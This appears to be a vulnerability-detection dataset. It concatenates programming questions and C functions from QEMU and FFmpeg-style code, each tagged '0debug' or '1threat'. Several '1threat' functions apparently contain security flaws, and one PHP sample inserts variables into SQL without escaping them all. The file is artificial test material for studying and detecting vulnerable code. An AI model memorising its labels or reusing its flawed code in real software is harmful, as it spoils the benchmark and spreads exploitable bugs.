<p>Would something like this work?</p>
<pre><code>[requires]
python_version = ">=python 3.5"
</code></pre>
| 0debug |
Changing one inner list's element changes all inner lists python : <p>Basically, this is what I've got:</p>
<pre><code>In [1]: list1 = [[0, 0, 0, 0]] * 10
In [2]: list1
Out[2]:
[[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0]]
In [3]: list1[0][1] = 9
In [4]: list1
Out[4]:
[[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0],
[0, 9, 0, 0]]
</code></pre>
<p>When trying to change the second element of the first list to 9, I somehow changed all first elements to 9. How did this happen?</p>
| 0debug |
static void serial_receive_byte(SerialState *s, int ch)
{
s->rbr = ch;
s->lsr |= UART_LSR_DR;
serial_update_irq(s);
}
| 1threat |
void qmp_block_commit(const char *device,
bool has_base, const char *base,
bool has_top, const char *top,
bool has_backing_file, const char *backing_file,
bool has_speed, int64_t speed,
Error **errp)
{
BlockDriverState *bs;
BlockDriverState *base_bs, *top_bs;
AioContext *aio_context;
Error *local_err = NULL;
BlockdevOnError on_error = BLOCKDEV_ON_ERROR_REPORT;
if (!has_speed) {
speed = 0;
}
bs = bdrv_find(device);
if (!bs) {
error_set(errp, QERR_DEVICE_NOT_FOUND, device);
return;
}
aio_context = bdrv_get_aio_context(bs);
aio_context_acquire(aio_context);
bdrv_drain_all();
if (bdrv_op_is_blocked(bs, BLOCK_OP_TYPE_COMMIT, errp)) {
goto out;
}
top_bs = bs;
if (has_top && top) {
if (strcmp(bs->filename, top) != 0) {
top_bs = bdrv_find_backing_image(bs, top);
}
}
if (top_bs == NULL) {
error_setg(errp, "Top image file %s not found", top ? top : "NULL");
goto out;
}
assert(bdrv_get_aio_context(top_bs) == aio_context);
if (has_base && base) {
base_bs = bdrv_find_backing_image(top_bs, base);
} else {
base_bs = bdrv_find_base(top_bs);
}
if (base_bs == NULL) {
error_set(errp, QERR_BASE_NOT_FOUND, base ? base : "NULL");
goto out;
}
assert(bdrv_get_aio_context(base_bs) == aio_context);
if (top_bs == base_bs) {
error_setg(errp, "cannot commit an image into itself");
goto out;
}
if (top_bs == bs) {
if (has_backing_file) {
error_setg(errp, "'backing-file' specified,"
" but 'top' is the active layer");
goto out;
}
commit_active_start(bs, base_bs, speed, on_error, block_job_cb,
bs, &local_err);
} else {
commit_start(bs, base_bs, top_bs, speed, on_error, block_job_cb, bs,
has_backing_file ? backing_file : NULL, &local_err);
}
if (local_err != NULL) {
error_propagate(errp, local_err);
goto out;
}
out:
aio_context_release(aio_context);
}
| 1threat |
unselect Radio Button and Disable Submit when all inputs are emtpy : We have an interactive map which connects over PHP to an database.
Since im pretty new to javascript i have some question.
We have around 15 text input and one dropdown input.
I only provide the Problematic parts of our code.
**HTML**
<div class="nav nav-sidebar">
<form action="./action_page.php" method="post">
<ul class="dropdown-item" id="u3">
<div data-toggle="buttons">
<label class ="btn btn-default" style="float:left;">
<input type="radio" class="btn btn-default" name="politic" id="politic" value="2"> Trump
</label>
<label class ="btn btn-default" style="margin-bottom:10px; margin-right: 20%; float:right;">
<input type="radio" class="btn btn-default" name="politic" id="politic" value="1"> Hillary
</label>
</div>
</ul>
<button input type="submit" id="submit-button" class="submit-button" value="Submit">Submit</button>
</form>
<button type="button" onclick="test()" class="clear-button">Reset</button>
</div>
**JS**
function test(){
$('input[name="politic"]').prop('checked', false);
}
1. How can I disable the Submit button if atleast 1 input is emtpy?
2. My test() function resets the value of `"poltics"` but the Button is still selected. How can I fix this?
I would appreciate to not get the working code, more like a guideline how to start on this Problem, or if you want to provide code, I would appreciate some shorts explanation.
| 0debug |
FUNCTION FOR ROUNDING FUNCTIONALITY FOR PRICE FIELD : iam gettinig error while i compile this function,
need help on this please.
the error is Error(37,1): PLS-00049: bad bind variable 'RETURN_VALUE'
--
FUNCTION GECM_ROUND_FNC
(P_FIELD_VALUE IN NUMBER,
P_ORG_ID IN NUMBER)
RETURN VARCHAR2
IS
v_ret_val NUMBER := P_FIELD_VALUE;
V_OU_NAME hr_operating_units.name%type;
v_round_dec NUMBER;
BEGIN
BEGIN
SELECT NAME INTO V_OU_NAME
FROM HR_ALL_ORGANIZATION_UNITS
WHERE ORGANIZATION_ID = P_ORG_ID;
EXCEPTION WHEN OTHERS THEN
V_OU_NAME := '';
END;
--
IF V_OU_NAME IS NOT NULL AND NVL(GECM_ICP_PKG.gecm_get_process_value_fnc('GECM_ERP_VALIDATIONS',V_OU_NAME,'','',''),'N')='Y' THEN
BEGIN
IF NVL(GECM_ICP_PKG.GECM_GET_PARAMETER_VALUE_FNC('GECM_ERP_VALIDATIONS','DECIMAL_ROUNDING_INTERFACES',V_OU_NAME,'',''),0) = 'Y' THEN
BEGIN
SELECT NVL(GECM_ICP_PKG.GECM_GET_PARAMETER_VALUE_FNC('GECM_ERP_VALIDATIONS','DECIMAL_PLACE_LIMIT',V_OU_NAME,'',''),0)
INTO v_round_dec from dual;
EXCEPTION
WHEN OTHERS THEN
v_round_dec := 0;
END;
IF v_round_dec <> 0 THEN
v_ret_val:= TO_CHAR(ROUND(v_ret_val,v_round_dec));
ELSE
v_ret_val:=v_ret_val;
END IF;
END IF;
END;
END IF;
SELECT to_char(decode(sign(v_ret_val-1),-1,decode('0'||to_number(v_ret_val),'00','0','0'||to_number(v_ret_val)),v_ret_val)) INTO v_ret_val FROM DUAL;
:return_value := v_ret_val;
END; | 0debug |
Which is the best high performance Jmeter sampler to use for Thrift protocol load testing Beanshell, JSR223 or Java request sampler? : <p>I have a requirement to load test Thrift protocol with very high user load using JMeter.
I need to know which is the best and most performant JMeter sampler to use out of Beanshell, JSR223 or Java request with high concurrency load?
Appreciate suggestions from industry gurus.
I am open to use other open source tools that can perform the same task.</p>
<p>Thanks,
B </p>
| 0debug |
Persist Elastic Search Data in Docker Container : <p>I have a working ES docker container running that I run like so</p>
<pre><code>docker run -p 80:9200 -p 9300:9300 --name es-loaded-with-data --privileged=true --restart=always es-loaded-with-data
</code></pre>
<p>I loaded up ES with a bunch of test data and wanted to save it in that state so I followed up with </p>
<pre><code>docker commit containerid es-tester
docker save es-tester > es-tester.tar
</code></pre>
<p>then when I load it back in the data is all gone... what gives?</p>
<pre><code>docker load < es-tester.tar
</code></pre>
| 0debug |
Such a broken Ruby loop : <p>I'm using Sonic Pi on Mac and the following code with a while loop just goes right over what I want the condition to be.</p>
<pre><code>cut = 0
until cut >= 110 do
cue :foo
4.times do |i|
use_random_seed 667
16.times do
use_synth :tb303
play chord(:e3, :minor).choose, attack: 0, release: 0.1, cutoff: cut + i * 10
sleep 0.125
cut += 1
puts cut
end
end
cue :bar
32.times do |i|
use_synth :tb303
play chord(:a3, :minor).choose, attack: 0, release: 0.05, cutoff: cut + i, res: rrand(0.9, 0.95)
sleep 0.125
cut += 1
puts cut
end
end
</code></pre>
<p>I need so much help lol</p>
| 0debug |
How to pivot my data frame in R so that it turns into another data frame in this specific format? : <p>I have a small <code>data frame</code> in R called <code>df1</code>.</p>
<p>Below is how the <code>data frame</code> looks like:</p>
<pre><code>SubDept2 BasicSalary BenchmarkSalary
Admin 10000 20000
Bar 9880 12000
Entertainment 11960 17000
F&B 9680 12000
Finance 10310 17500
Housekeeping 9960 12000
Kitchen 9680 12000
Leisure & Sport 10775 17000
Maintenance 10240 10000
Restaurant 9880 12000
Rooms Division 9680 12000
Security 10250 11000
Spa 9450 12000
</code></pre>
<p>I want to <code>pivot</code> this <code>data frame</code> so that it turns out like this:</p>
<pre><code>SubDept2 Amount Type
Admin 10000 BasicSalary
Bar 9880 BasicSalary
Entertainment 11960 BasicSalary
F&B 9680 BasicSalary
Finance 10310 BasicSalary
Housekeeping 9960 BasicSalary
Kitchen 9680 BasicSalary
Leisure & Sport 10775 BasicSalary
Maintenance 10240 BasicSalary
Restaurant 9880 BasicSalary
Rooms Division 9680 BasicSalary
Security 10250 BasicSalary
Spa 9450 BasicSalary
Admin 20000 BenchmarkSalary
Bar 12000 BenchmarkSalary
Entertainment 17000 BenchmarkSalary
F&B 12000 BenchmarkSalary
Finance 17500 BenchmarkSalary
Housekeeping 12000 BenchmarkSalary
Kitchen 12000 BenchmarkSalary
Leisure & Sport 17000 BenchmarkSalary
Maintenance 10000 BenchmarkSalary
Restaurant 12000 BenchmarkSalary
Rooms Division 12000 BenchmarkSalary
Security 11000 BenchmarkSalary
Spa 12000 BenchmarkSalary
</code></pre>
<p>How can this be done?</p>
| 0debug |
i want to code this button in pictures with the following animation if possible : i am trying to create this button in html with a little animation as below
how can i achieve this ?
i have tried some ideas but failed as usual :D
~~~
<div class="skew-btn">
<div class="btn">
<div class="main">
<a href="#hire">Hire me</a>
</div>
</div>
</div>
~~~
here is how i see it in html **you can change this**
[![enter image description here][1]][1]
animate to this on hover
[![enter image description here][2]][2]
[1]: https://i.stack.imgur.com/HPLd7.png
[2]: https://i.stack.imgur.com/aWE0y.png | 0debug |
ps1 cannot be loaded because running scripts is disabled on this system : <p>I try to run <code>powershell</code> script from c#.</p>
<p>First i set the <code>ExecutionPolicy</code> to <code>Unrestricted</code> and the script is running now from <code>PowerShell ISE</code>.</p>
<p>Now this is c# my code:</p>
<pre><code>class Program
{
private static PowerShell ps;
static void Main(string[] args)
{
ps = PowerShell.Create();
string ps1File = Path.Combine(Environment.CurrentDirectory, "script.ps1");
ExecuteScript(ps1File);
Console.ReadLine();
}
static void ExecuteScript(string script)
{
try
{
ps.AddScript(script);
Collection<PSObject> results = ps.Invoke();
Console.WriteLine("Output:");
foreach (var psObject in results)
{
Console.WriteLine(psObject);
}
Console.WriteLine("Non-terminating errors:");
foreach (ErrorRecord err in ps.Streams.Error)
{
Console.WriteLine(err.ToString());
}
}
catch (RuntimeException ex)
{
Console.WriteLine("Terminating error:");
Console.WriteLine(ex.Message);
}
}
}
</code></pre>
<p>And the output is:</p>
<blockquote>
<p>ps1 cannot be loaded because running scripts is disabled on this
system. For more informationm see about_Execution_Policies at
<a href="http://go.microsoft.com/fwlink/?LinkID=135170" rel="noreferrer">http://go.microsoft.com/fwlink/?LinkID=135170</a>.</p>
</blockquote>
| 0debug |
static int decode_channel_sound_unit(ATRAC3Context *q, GetBitContext *gb,
ChannelUnit *snd, float *output,
int channel_num, int coding_mode)
{
int band, ret, num_subbands, last_tonal, num_bands;
GainBlock *gain1 = &snd->gain_block[ snd->gc_blk_switch];
GainBlock *gain2 = &snd->gain_block[1 - snd->gc_blk_switch];
if (coding_mode == JOINT_STEREO && channel_num == 1) {
if (get_bits(gb, 2) != 3) {
av_log(NULL,AV_LOG_ERROR,"JS mono Sound Unit id != 3.\n");
return AVERROR_INVALIDDATA;
}
} else {
if (get_bits(gb, 6) != 0x28) {
av_log(NULL,AV_LOG_ERROR,"Sound Unit id != 0x28.\n");
return AVERROR_INVALIDDATA;
}
}
snd->bands_coded = get_bits(gb, 2);
ret = decode_gain_control(gb, gain2, snd->bands_coded);
if (ret)
return ret;
snd->num_components = decode_tonal_components(gb, snd->components,
snd->bands_coded);
if (snd->num_components < 0)
return snd->num_components;
num_subbands = decode_spectrum(gb, snd->spectrum);
last_tonal = add_tonal_components(snd->spectrum, snd->num_components,
snd->components);
num_bands = (subband_tab[num_subbands] - 1) >> 8;
if (last_tonal >= 0)
num_bands = FFMAX((last_tonal + 256) >> 8, num_bands);
for (band = 0; band < 4; band++) {
if (band <= num_bands)
imlt(q, &snd->spectrum[band * 256], snd->imdct_buf, band & 1);
else
memset(snd->imdct_buf, 0, 512 * sizeof(*snd->imdct_buf));
ff_atrac_gain_compensation(&q->gainc_ctx, snd->imdct_buf,
&snd->prev_frame[band * 256],
&gain1->g_block[band], &gain2->g_block[band],
256, &output[band * 256]);
}
snd->gc_blk_switch ^= 1;
return 0;
}
| 1threat |
void HELPER(idte)(CPUS390XState *env, uint64_t r1, uint64_t r2, uint32_t m4)
{
CPUState *cs = CPU(s390_env_get_cpu(env));
const uintptr_t ra = GETPC();
uint64_t table, entry, raddr;
uint16_t entries, i, index = 0;
if (r2 & 0xff000) {
cpu_restore_state(cs, ra);
program_interrupt(env, PGM_SPECIFICATION, 4);
}
if (!(r2 & 0x800)) {
table = r1 & _ASCE_ORIGIN;
entries = (r2 & 0x7ff) + 1;
switch (r1 & _ASCE_TYPE_MASK) {
case _ASCE_TYPE_REGION1:
index = (r2 >> 53) & 0x7ff;
break;
case _ASCE_TYPE_REGION2:
index = (r2 >> 42) & 0x7ff;
break;
case _ASCE_TYPE_REGION3:
index = (r2 >> 31) & 0x7ff;
break;
case _ASCE_TYPE_SEGMENT:
index = (r2 >> 20) & 0x7ff;
break;
}
for (i = 0; i < entries; i++) {
raddr = table + ((index + i) & 0x7ff) * sizeof(entry);
entry = cpu_ldq_real_ra(env, raddr, ra);
if (!(entry & _REGION_ENTRY_INV)) {
entry |= _REGION_ENTRY_INV;
cpu_stq_real_ra(env, raddr, entry, ra);
}
}
}
if (m4 & 1) {
tlb_flush(cs);
} else {
tlb_flush_all_cpus_synced(cs);
}
}
| 1threat |
Can I put elements into zip using for loop instead manually with index number? : <pre><code>data = [['a', 'b', 'c', 'd'], [1, 2, 3, 4], [4, 5, 6, 7]]
result = zip(data[0], data[1], data[2])
</code></pre>
<p>Can I put elements into zip using for loop instead manually with index number?</p>
| 0debug |
sort array data without duplicate : i make twitter bot using codebird
I want to sort the data status in php array without duplicates , line by line (urls media /remote file links)
this my code
require_once ('codebird.php');
`\Codebird\Codebird::setConsumerKey("pubTRI3ik5hJqxxxxxxxxxx",` `"xxxxxS6Uj1t5GJPi6AUxxxxx");`
$cb = \Codebird\Codebird::getInstance();
`$cb->setToken("xxxxxxx-aVixxxxxxxxxX5MsEHEK",` `"Dol6RMhOYgxxxxxxFnDtJ6IzXMOLyt");`
$statusimgs = array (
"/images.com/hfskehfskea33/jshdfjsh.jpeg",
"/pic.images.com/SDjhs33/sZddszf.jpeg",
"/pic.images.com/dfggfd/dgfgfgdg.jpeg",
"//pic.images.com/xgxg/xdgxg6.jpeg",
);
$params = array(
'status' => 'halo my ststus',
'media[]' => $statusimgs[array_rand($statusimgs)]
);
$reply = $cb->statuses_updateWithMedia($params);
initially i use random array , but this can make duplicate photo,,,
i want to sort link remote files from first line to last, i have 1-100 link images to upload on twitter from remote file methot , one by one when script execute manual or with cron .i want set cron every 60s , 60s 1 photo tweet.
please help
| 0debug |
static void usb_host_handle_destroy(USBDevice *udev)
{
USBHostDevice *s = USB_HOST_DEVICE(udev);
qemu_remove_exit_notifier(&s->exit);
QTAILQ_REMOVE(&hostdevs, s, next);
usb_host_close(s);
}
| 1threat |
How does Deprecated ReplaceWith work for Kotlin in intellij? : <p>I wrote this code:</p>
<pre><code>@Deprecated("Old stuff", ReplaceWith("test2"))
fun test1(i: Int) {
println("old Int = $i")
}
fun test2(i: Int) {
println("new Int = $i")
}
fun main(args: Array<String>) {
test1(3)
}
</code></pre>
<p>and for some reason when I press Alt+Enter and click "Replace with <code>test2</code>", the method <code>test1</code> disappears and doesn't get replaced, what am I doing wrong?</p>
<p><strong>Edit:</strong></p>
<p>It does work for classes though:</p>
<pre><code>@Deprecated("Old stuff", ReplaceWith("Test2"))
class Test1
class Test2
fun main(args: Array<String>) {
val a = Test1()
}
</code></pre>
| 0debug |
uint64_t qemu_get_be64(QEMUFile *f)
{
uint64_t v;
v = (uint64_t)qemu_get_be32(f) << 32;
v |= qemu_get_be32(f);
return v;
}
| 1threat |
BASH:::How to match a string str inside double square brackets in bash.ex matching str inside [[str]] : I have a file with following data.
[[Public IP Addresses ]]
// Here, IP addresses will
IPv6 display format.
[LINK_7]
linkNum=7.
Here i have to extract "Public IP Addresses".
I have tried lot of options in vain. Some help regarding this is appreciated.
| 0debug |
static QemuOpts *opts_parse(QemuOptsList *list, const char *params,
int permit_abbrev, bool defaults)
{
const char *firstname;
char value[1024], *id = NULL;
const char *p;
QemuOpts *opts;
assert(!permit_abbrev || list->implied_opt_name);
firstname = permit_abbrev ? list->implied_opt_name : NULL;
if (strncmp(params, "id=", 3) == 0) {
get_opt_value(value, sizeof(value), params+3);
id = value;
} else if ((p = strstr(params, ",id=")) != NULL) {
get_opt_value(value, sizeof(value), p+4);
id = value;
}
if (defaults) {
if (!id && !QTAILQ_EMPTY(&list->head)) {
opts = qemu_opts_find(list, NULL);
} else {
opts = qemu_opts_create(list, id, 0);
}
} else {
opts = qemu_opts_create(list, id, 1);
}
if (opts == NULL)
return NULL;
if (opts_do_parse(opts, params, firstname, defaults) != 0) {
qemu_opts_del(opts);
return NULL;
}
return opts;
}
| 1threat |
Angular get holidays gapis : This is my function inside service
getHolidays() {
let api = 'https://www.googleapis.com/calendar/v3/calendars/tn%40holiday.calendar.google.com/events?key=myKey'
return this.http.get<any>(api, {
headers : new HttpHeaders().append('Content-type', 'application/json')
});
}
it works on browser but give 401 in angular
why ? | 0debug |
I am learning to store some temperature values in a vector. When i execute and run it. It doesn't work, I don't know what the error is : i wrote the code from the book: Programming principles and practice using C++, the program is executing but not working properly as expected. After putting input values it is expected to give mean and median temperature but there is no result.
[see the image for my code][1]
[here i put 3 temperatures but there is no result][2]
[1]: https://i.stack.imgur.com/IonF8.png
[2]: https://i.stack.imgur.com/mVczj.png | 0debug |
if/else not working jQuery : <p>I would like to change text in one div depending on the text in another div.</p>
<p>Here is the code:</p>
<pre><code>$("#pricebtn").click(function () {
if ($('#titl01').html == "Services") {
$('#titl01').html("Prices");
}
else {
$('#titl01').html("No Prices");
}
</code></pre>
<p>Mainly what I need is - if the text in the div #titl01 is "Services" I need it to be changed to "Prices" otherwise change to "No Prices".</p>
<p>The problem with the code is that it changes text to "No Prices" even if the text in the div #titl01 is "Services"....</p>
<p>What am I doing wrong?</p>
| 0debug |
PHP / MySQL : How to INSERT into databse using WHILE loop : <p>I want to insert data from input form and at the same time from another table (shopping_cart) in one table (order). </p>
<p>I found that there is no problem with passing value from input form or select it from shopping cart, since I print all the value that I want to use to insert in table (order) and it displayed.</p>
<p>But, when execute a query to insert into table order, the output is fail and nothing insert in database.</p>
<p>Below is my code :</p>
<pre><code><?php
include('dbconnection.php');
$query1 = mysql_query("SELECT * FROM shopping_cart");
$bil = 1;
while ($data = mysql_fetch_array($query1)) {
//FROM TABLE SHOPPING_CART
$item_name=$data['ITEM_NAME'];
$cart_price=$data['CART_PRICE'];
$cart_quantity=$data['CART_QUANTITY'];
//FROM HTML FORM
$total_price = $_POST['ORDER_TOTALPRICE'];
$fullname = mysql_real_escape_string($_POST['FULLNAME']);
$address = mysql_real_escape_string($_POST['ADDRESS']);
$phone = mysql_real_escape_string($_POST['PHONE']);
echo $item_name;
echo $cart_price;
echo $cart_quantity;
echo $fullname;
echo $address;
echo $phone;
echo $total_price;
//SOMETHING WRONG HERE ?
$query = mysql_query("INSERT INTO order (ORDER_TOTALPRICE, ITEM_NAME,
CART_PRICE, CART_QUANTITY, FULLNAME, ADDRESS, PHONE) VALUES ('$total_price','$item_name','$cart_price','$cart_quantity','$fullname','$address','$phone')");
if ($query){
echo "success";
}
else{
echo "fail";
}
$bil++;
}
?>
</code></pre>
| 0debug |
int32_t scsi_req_enqueue(SCSIRequest *req, uint8_t *buf)
{
int32_t rc;
assert(!req->enqueued);
scsi_req_ref(req);
req->enqueued = true;
QTAILQ_INSERT_TAIL(&req->dev->requests, req, next);
scsi_req_ref(req);
rc = req->ops->send_command(req, buf);
scsi_req_unref(req);
return rc;
}
| 1threat |
which one is best AlarmManager or Handler post delay for repeating background task : <p>I have to repeat a weather API Task after every half an hour to fetch data from the <a href="http://api.openweathermap.org" rel="nofollow noreferrer">http://api.openweathermap.org</a> for that I have used handler post delay but some one suggests me to use Alarm manager for repeating task as It produces interrupt. but if we use handler it consume more memory and uses more Cpu. I need suggestion which one is best.</p>
| 0debug |
Q: How many classes will the following code generate? : <p>I find this question tricky. What do u ppl think?</p>
<pre><code>template <typename T> class myTemplate
{
public:
T val;
...
};
void myFunction()
{
MyTemplate<int> a;
MyTemplate<double> b;
}
</code></pre>
| 0debug |
static int smvjpeg_decode_frame(AVCodecContext *avctx, void *data, int *data_size,
AVPacket *avpkt)
{
const AVPixFmtDescriptor *desc;
SMVJpegDecodeContext *s = avctx->priv_data;
AVFrame* mjpeg_data = s->picture[0];
int i, cur_frame = 0, ret = 0;
cur_frame = avpkt->pts % s->frames_per_jpeg;
if (!cur_frame) {
av_frame_unref(mjpeg_data);
ret = avcodec_decode_video2(s->avctx, mjpeg_data, &s->mjpeg_data_size, avpkt);
if (ret < 0) {
s->mjpeg_data_size = 0;
return ret;
}
} else if (!s->mjpeg_data_size)
return AVERROR(EINVAL);
desc = av_pix_fmt_desc_get(s->avctx->pix_fmt);
if (desc && mjpeg_data->height % (s->frames_per_jpeg << desc->log2_chroma_h)) {
av_log(avctx, AV_LOG_ERROR, "Invalid height\n");
return AVERROR_INVALIDDATA;
}
*data_size = s->mjpeg_data_size;
avctx->pix_fmt = s->avctx->pix_fmt;
ret = ff_set_dimensions(avctx, mjpeg_data->width, mjpeg_data->height / s->frames_per_jpeg);
if (ret < 0) {
av_log(s, AV_LOG_ERROR, "Failed to set dimensions\n");
return ret;
}
if (*data_size) {
s->picture[1]->extended_data = NULL;
s->picture[1]->width = avctx->width;
s->picture[1]->height = avctx->height;
s->picture[1]->format = avctx->pix_fmt;
smv_img_pnt(s->picture[1]->data, mjpeg_data->data, mjpeg_data->linesize,
avctx->pix_fmt, avctx->width, avctx->height, cur_frame);
for (i = 0; i < AV_NUM_DATA_POINTERS; i++)
s->picture[1]->linesize[i] = mjpeg_data->linesize[i];
ret = av_frame_ref(data, s->picture[1]);
}
return ret;
}
| 1threat |
Can anyone tell me a practical situation from real-life applications where friend functions can be useful? : <p>I am a newbie in OOP (C++) and just learned about friend function but is there a real life example that defines the usage of friend function ?</p>
| 0debug |
int ff_ivi_decode_frame(AVCodecContext *avctx, void *data, int *data_size,
AVPacket *avpkt)
{
IVI45DecContext *ctx = avctx->priv_data;
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
int result, p, b;
init_get_bits(&ctx->gb, buf, buf_size * 8);
ctx->frame_data = buf;
ctx->frame_size = buf_size;
result = ctx->decode_pic_hdr(ctx, avctx);
if (result) {
av_log(avctx, AV_LOG_ERROR,
"Error while decoding picture header: %d\n", result);
return -1;
}
if (ctx->gop_invalid)
return AVERROR_INVALIDDATA;
if (ctx->gop_flags & IVI5_IS_PROTECTED) {
av_log(avctx, AV_LOG_ERROR, "Password-protected clip!\n");
return -1;
}
ctx->switch_buffers(ctx);
if (ctx->is_nonnull_frame(ctx)) {
for (p = 0; p < 3; p++) {
for (b = 0; b < ctx->planes[p].num_bands; b++) {
result = decode_band(ctx, p, &ctx->planes[p].bands[b], avctx);
if (result) {
av_log(avctx, AV_LOG_ERROR,
"Error while decoding band: %d, plane: %d\n", b, p);
return -1;
}
}
}
}
if (avctx->codec_id == AV_CODEC_ID_INDEO4 && ctx->frame_type == 0) {
while (get_bits(&ctx->gb, 8));
skip_bits_long(&ctx->gb, 64);
if (get_bits_left(&ctx->gb) > 18 && show_bits(&ctx->gb, 18) == 0x3FFF8)
av_log(avctx, AV_LOG_ERROR, "Buffer contains IP frames!\n");
}
if (ctx->frame.data[0])
avctx->release_buffer(avctx, &ctx->frame);
ctx->frame.reference = 0;
if ((result = avctx->get_buffer(avctx, &ctx->frame)) < 0) {
av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n");
return result;
}
if (ctx->is_scalable) {
if (avctx->codec_id == AV_CODEC_ID_INDEO4)
ff_ivi_recompose_haar(&ctx->planes[0], ctx->frame.data[0], ctx->frame.linesize[0], 4);
else
ff_ivi_recompose53 (&ctx->planes[0], ctx->frame.data[0], ctx->frame.linesize[0], 4);
} else {
ff_ivi_output_plane(&ctx->planes[0], ctx->frame.data[0], ctx->frame.linesize[0]);
}
ff_ivi_output_plane(&ctx->planes[2], ctx->frame.data[1], ctx->frame.linesize[1]);
ff_ivi_output_plane(&ctx->planes[1], ctx->frame.data[2], ctx->frame.linesize[2]);
*data_size = sizeof(AVFrame);
*(AVFrame*)data = ctx->frame;
return buf_size;
} | 1threat |
static void dump_map_entry(OutputFormat output_format, MapEntry *e,
MapEntry *next)
{
switch (output_format) {
case OFORMAT_HUMAN:
if ((e->flags & BDRV_BLOCK_DATA) &&
!(e->flags & BDRV_BLOCK_OFFSET_VALID)) {
error_report("File contains external, encrypted or compressed clusters.");
exit(1);
}
if ((e->flags & (BDRV_BLOCK_DATA|BDRV_BLOCK_ZERO)) == BDRV_BLOCK_DATA) {
printf("%#-16"PRIx64"%#-16"PRIx64"%#-16"PRIx64"%s\n",
e->start, e->length, e->offset, e->bs->filename);
}
if (next &&
(next->flags & (BDRV_BLOCK_DATA|BDRV_BLOCK_ZERO)) != BDRV_BLOCK_DATA) {
next->flags &= ~BDRV_BLOCK_DATA;
next->flags |= BDRV_BLOCK_ZERO;
}
break;
case OFORMAT_JSON:
printf("%s{ \"start\": %"PRId64", \"length\": %"PRId64", \"depth\": %d,"
" \"zero\": %s, \"data\": %s",
(e->start == 0 ? "[" : ",\n"),
e->start, e->length, e->depth,
(e->flags & BDRV_BLOCK_ZERO) ? "true" : "false",
(e->flags & BDRV_BLOCK_DATA) ? "true" : "false");
if (e->flags & BDRV_BLOCK_OFFSET_VALID) {
printf(", 'offset': %"PRId64"", e->offset);
}
putchar('}');
if (!next) {
printf("]\n");
}
break;
}
}
| 1threat |
Detect previous path in react router? : <p>I am using react router. I want to detect the previous page (within the same app) from where I am coming from. I have the router in my context. But, I don't see any properties like "previous path" or history on the router object. How do I do it?</p>
| 0debug |
Inner HTML of ng-container, Angular 4? : <p>I want to dynamically place an html code in my html code, So I write the following code:<br></p>
<pre><code><ng-container [innerHTML]="buttonIcon"></ng-container>
</code></pre>
<p>Angular says <code>innerHTML</code> is not valid attribute for <code>ng-container</code><br>
I don't want to use third html tag like follows:</p>
<pre><code><div [innerHTML]="buttonIcon"></div>
</code></pre>
<p>So how can I insert html codes without any tag inner html binding?<br></p>
| 0debug |
static av_always_inline void decode_subband_internal(DiracContext *s, SubBand *b, int is_arith)
{
int cb_x, cb_y, left, right, top, bottom;
DiracArith c;
GetBitContext gb;
int cb_width = s->codeblock[b->level + (b->orientation != subband_ll)].width;
int cb_height = s->codeblock[b->level + (b->orientation != subband_ll)].height;
int blockcnt_one = (cb_width + cb_height) == 2;
if (!b->length)
return;
init_get_bits8(&gb, b->coeff_data, b->length);
if (is_arith)
ff_dirac_init_arith_decoder(&c, &gb, b->length);
top = 0;
for (cb_y = 0; cb_y < cb_height; cb_y++) {
bottom = (b->height * (cb_y+1)) / cb_height;
left = 0;
for (cb_x = 0; cb_x < cb_width; cb_x++) {
right = (b->width * (cb_x+1)) / cb_width;
codeblock(s, b, &gb, &c, left, right, top, bottom, blockcnt_one, is_arith);
left = right;
}
top = bottom;
}
if (b->orientation == subband_ll && s->num_refs == 0)
intra_dc_prediction(b);
}
| 1threat |
When i am runnig my objective-c code i am facing This error in this Code : Assertion failure in -[UITableView _configureCellForDisplay:forIndexPath:], /SourceCache/UIKit_Sim/UIKit-2935.137/UITableView.m:6509
2016-01-18 12:35:16.816 ALJ Jobs[1008:60b] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'UITableView dataSource must return a cell from tableView:cellForRowAtIndexPath:'
*** First throw call stack:
Here is This code where i am facing problem in objective-c programming.
@implementation myCV
{
NSMutableArray *CvArr;
NSMutableArray *address;
}
-(void) viewDidLoad
{
[super viewDidLoad];
CvArr = [[NSMutableArray alloc] initWithObjects:@"My Cv_0",@"My Cv_1",@"My Cv_2",@"My Cv_3",@"My Cv_4", nil];
address = [[NSMutableArray alloc] initWithObjects:@"Pakistan_0",@"Pakistan_1",@"pakistan_2",@"pakistan_3",@"pakistan_4",nil];
}
-(NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
{
return 1;
}
-(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
return [CvArr count];
}
- (UITableViewCell *)tabelView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
UITableViewCell *Cell = [tableView dequeueReusableCellWithIdentifier:@"Cell" forIndexPath: indexPath];
Cell.textLabel.text = [CvArr objectAtIndex:indexPath.row];
return Cell;
}
| 0debug |
Turn off vim syntax highlighting inside C++ comments : <p>I recently downloaded vim 8.0. I don't know if I messed something up or a default changed, but in this code...</p>
<pre><code>int foo()
{
// This is a comment containing a "string" and the number 5.
return 42;
}
</code></pre>
<p>...the <code>"string"</code> and <code>5</code> are in a different color. It's the same color as when they appear in normal code. I've never seen that before. How can I turn it off?</p>
| 0debug |
static void test_visitor_out_list(TestOutputVisitorData *data,
const void *unused)
{
const char *value_str = "list value";
TestStructList *p, *head = NULL;
const int max_items = 10;
bool value_bool = true;
int value_int = 10;
Error *err = NULL;
QListEntry *entry;
QObject *obj;
QList *qlist;
int i;
for (i = 0; i < max_items; i++) {
p = g_malloc0(sizeof(*p));
p->value = g_malloc0(sizeof(*p->value));
p->value->integer = value_int + (max_items - i - 1);
p->value->boolean = value_bool;
p->value->string = g_strdup(value_str);
p->next = head;
head = p;
}
visit_type_TestStructList(data->ov, &head, NULL, &err);
g_assert(!err);
obj = qmp_output_get_qobject(data->qov);
g_assert(obj != NULL);
g_assert(qobject_type(obj) == QTYPE_QLIST);
qlist = qobject_to_qlist(obj);
g_assert(!qlist_empty(qlist));
i = 0;
